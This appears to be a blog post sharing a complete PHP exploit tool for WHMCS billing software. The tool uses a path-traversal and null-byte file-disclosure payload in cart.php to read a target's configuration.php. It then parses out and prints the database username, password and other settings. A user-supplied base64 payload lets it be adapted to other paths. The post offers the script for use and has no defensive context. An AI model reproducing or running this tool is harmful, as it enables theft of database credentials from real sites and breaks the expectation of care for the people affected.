We decided to stop the project, “WHMCS LFD Exploiter” and decided to make a modification out of it in PHP. The function is still the same because it still gets the db_username and the db_password but what has been changed is that it is user friendly and allows the user to change and the payload.
Here is the full script:
<?php
/**
* [TPK] & [shipcode] - theprojectxblog.net
* WHCMS Cart Exploit Tool
* #projectx
* http://www.exploit-db.com/exploits/17999/
**/
# default payload
$payload = "cart.php?a=projectx&templatefile=../../../configuration.php%00";
# site checker
$sitecheck = "www.isup.me";
$check = '';
if(!empty($_GET['site']) && !empty($_GET['payload'])){
# yum yum!
$yum = array();
$payload = base64_decode($_GET['payload']);
$site = trim($_GET['site'],'/');
$http = stristr($site,'http://');
if($http){
$site = $http;
} else {
$site = "http://$site";
}
$exploit = "$site/$payload";
if ($stream = @fopen($exploit, 'r')) {
echo '<strong>' . $exploit . '</strong><br>';
$data = trim(stristr(stristr(stream_get_contents($stream), '<?php'), '?>', true), '<?php');
$data = explode(';',trim($data));
$data = array_filter($data);
foreach($data as $datum){
$datum = explode('=',$datum);
$yum[trim($datum[0])] = $datum[1];
}
echo '<pre>';
print_r($yum);
echo '</pre>';
# bug? causes apache to crash :O
// $pattern = '/<?php+(.|s)+?>/';
// preg_match($pattern, $data, $matches);
// var_dump($matches);
fclose($stream);
} else {
$check = "<a target='_new' href='http://$sitecheck/$site'>is target up?</a>";
}
}
?>
